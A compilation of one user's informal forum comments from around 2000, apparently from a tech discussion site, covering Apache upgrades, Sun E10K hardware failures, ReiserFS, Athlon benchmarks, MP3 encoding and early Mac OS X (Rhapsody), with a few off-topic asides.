Latest version.. goooood... Some people always have to stay one or two versions back. I know some people who are going to reforge a web server, and they're tossing on Apache 1.3.9. Why? Oh, there might be some bugs in 1.3.12. Yeah, like there aren't any known bugs in 1.3.9. Hint, they're probably FIXED in 1.3.12! Its not like the Apache folks are going to sit around and say, "You know what? This new 1.3.13 version is totally funky, but lets just push it out. We'll then fix the bugs and then offer the patches named with the exact version level as the funky one." WTF?!? If the developer is hinting that everyone should bump up to the latest version, shouldn't their opinion be trusted, especially if the developer isn't getting any kind of reimbursement for you getting the latest versino?
iRaq uhhh iMac and Raq meshed together.... iRaq? Its a country, America's been bombing it whenever we get bored? See, Apple started this whole i thing. Yeah, the letter i is everwhere because of Apple. They like ithings..... Oh the hell with it, I can just SEE the glazed over look on your face.
The third (and significant) similarity is that if the use of intellectual property were unrestricted, the majority of initial development costs would only be incurred once, by the original developers (I'm sure economists must have a word for this).
Isn't there a law regarding denial of a critical business resource? I believe it was one of the major sticking points in the Intel/Intergraph case. I would have to believe that not permitting a memory manufacturer from producing their core product would be construed as a denial of a critical resource. Then again, I'm a layman.
I've been using ReiserFS as packaged with Mandrake 7.1 whenever and wherever I can, including critical systems. A couple of them litterally mean life or death if they're down, and I've had nothing but success. Were you using an old version?
You sure? A Cisco LocalDirector just shifts hits around. At last check it doesn't rewrite packet payloads. Besides, if it did then hotmail could be running QNX and we wouldn't know any better.
Ahhh, the E10K. Frankly it doesn't matter what OS you run if the hardware won't stay up. We've got over 25 of the damn things at work, and they have some pretty serious hardware problems. Many millions of dollars down the crapper.
With all of the other distributed services that are being run through modern homes (phone, cable, lan, intercom, central vacuum, pesticides, 110, 220, 440, et al) how unreasonable would it be to run a seperate DC power system IN ADDITION to what we currently have? Its not a matter of just getting up and saying "To heck with my current stuff, I going to throw it all away and run everything off of 24V DC today!". Rather it would be a matter of running a new generation of home appliances off of a new generation of short distance distribution. Just a thought.....
Go get something based upon the LAME encoder. I'm running Windows over here and my weapon of choice is cdex. I pop the CD in the drive and about 15-20 minutes later its ripped. (Athlon 750). Oh the LAME encoder IMHO sounds better than the Frauhoffer one. At least try it once.
Guess what? All the tech companies are like that. Have you ever had to work with a Sun E10000? You have to underclock them or else you'll get E-Cache failures. That and, dynamic reconfiguration involves shutting the thing down and moving boards, which is a scoosh different from what the marketing hype says.
It is trash isn't it? I have 2.2.11 running on an Alpha, and about once every 20-25 days performance will just totally tail off towards "choke". At this point I can't even recycled the daemon because port 2049 stays bound even though the daemon is down, and then at that point its reboot time!
Hmm, rebooting to fix problems.... sounds like NT! Actually, it sounds like how NT used to be as its gotten a whole bunch better while Linux has been somewhat floundering.
Actually, the funny comparisons weren't the Athlon versus the P2s and P3s, but rather the Xeons. One also has to chortle heartedly at the fact that AMD was also beating Intel in the benchmarks that Intel made up just to show the "superiority" of the Intel chips.
While you have a fair point, when was the last time you upgraded just the processor and not the motherboard? Even if you go with the same chipset board, there's still probably a compelling reason to use a more recent board such as the advancements between BX boards today versus when they first came out. Then again, the BX chipset is more of the exception given its unusualy long life span.
One might argue that not upgrading the board is healthy cost savings, but if you're upgrading a processor within a sufficiently short timespan as to not necessitate a new board technology, then money obviously isn't an issue.
Yeah, bypass the phone company completely, until you have to get your premise router hooked up. Around where I live, if you want any kind of frame relay, you have to go through GTE. Yeah, you can connect via a local ISP, but they go through GTE anyways.
I worked in an environment where we supported Sun, AIX and IBM Netfinitys. I can remember few times where the IBM hardware had problems, but the Suns had several failures. Most notibly Sun's GBIC (interface between the box and an external disk array) is a total piece of crap. I've seen entire arrays get corrupted because of a GBIC failure, and almost every one on the farm failed within a year. If you must run one of these things, then I'd suggest replacing them as often as your oil.
Anybody here try one of the Raphsody demos that came out a while back? I had managed to get my hands on a copy and it was darn impressive if for nothing else then the fact that during the install I honestly though I was installing a fairly slick Un*x workalike. I saw things in the/dev directory and a watched a Un*x style file system heirarchy build. Then when it came up to GUI and I saw the old school Apple File Edit... menu at top I knew that were would one day be in for quite a ride. This is it.
Oh, in the list of applications Raphsody had things like xterm. I don't remember whether or not things like gcc were included. Then again, who's to say that once this thing is out that Debian won't release a CD chock full of GNU like things to make the system feel like a Linux box???
Think of how neat it would be to run The Gimp side-by-side with Photoshop? The thing has ftp and telnet daemons built in to it along with Apache. If anything, this might steal away some thunder from Linux being that it's going to have many of the upsides of Linux and its ilk yet also have the full support of a mainstream platform.
Also, think of how handy it would be if Mac applications developed for OS X could easily be ported over to Linux, xBSD, Hurd, Solaris and whatever with./compile ; make ; make install????
At last check, wealthy contries are wealthy because both the men and the women work outside the home which necessitates the use of birth control. Additionaly, bringing up a child in a wealthy country is prohibitivly expensive (college, video games, christmas, health care, crack, etc.) which makes is so that if parents want to raise their children to have a better life then they had (isn't that the point?) then having many children negates the possibility of the aformentioned.

Its a good thing Apple didn't buy them. I would imagine that the iRaq wouldn't sell all that well.

Uhh, they don't need to have the energy because they just purchased it!
